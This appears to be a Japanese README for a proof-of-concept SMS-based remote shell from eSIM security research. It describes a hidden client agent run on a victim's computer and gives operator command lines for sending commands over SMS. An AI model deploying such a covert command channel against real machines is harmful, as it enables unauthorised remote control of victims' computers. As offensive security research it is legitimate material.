
SMSベースのシェルのPoC。モバイルブロードバンド対応コンピュータからSMS経由でコマンドを送信し、応答を受信します。
SMSベースのシェルのPoC(概念実証)です。モバイルブロードバンド対応コンピュータからSMS経由でコマンドを送信し、応答を受信します。
このツールは、Markus Vervier氏が主導したeSIMセキュリティの影響に関する研究中に着想を得て開発され、Offensivecon 2023で発表されました。
これは完全なC2ではなく、SMS経由でリモートからコマンドを実行するためのシンプルな概念実証(Proof of Concept)です。
シェルを動作させるには、SMSを送信できるデバイスが2つ必要です。被害者のコンピュータには、物理SIMまたはeSIMが展開されたWWANモジュールが搭載されている必要があります。
オペレーター側では、以下の2つのツールが提供されています。
もちろん、理論上はオペレーター側で任意のオンラインSMSプロバイダをそのAPI経由で使用することも可能です。
被害者側では、単にclient-agent.exeバイナリを実行します。エージェントがコンソールアプリケーションとしてコンパイルされている場合は、冗長なメッセージが表示されます。Windowsアプリケーションとしてコンパイルされている場合(実際のエンゲージメントに最適)、GUIは表示されません。
オペレーターは被害者の電話番号をパラメータとして指定する必要があります。
server-console.exe +306912345678
一方、Pythonスクリプトを使用する場合は、さらにMiFiの詳細を指定する必要があります。
python3 server-console.py --mifi-ip 192.168.0.1 --mifi-username admin --mifi-password 12345678 --number +306912345678 -v
以下は、Markus氏がOffensiveで発表したデモです。左側はMiFiが接続されたオペレーターのVM、右側のウィンドウはクライアントエージェントです。
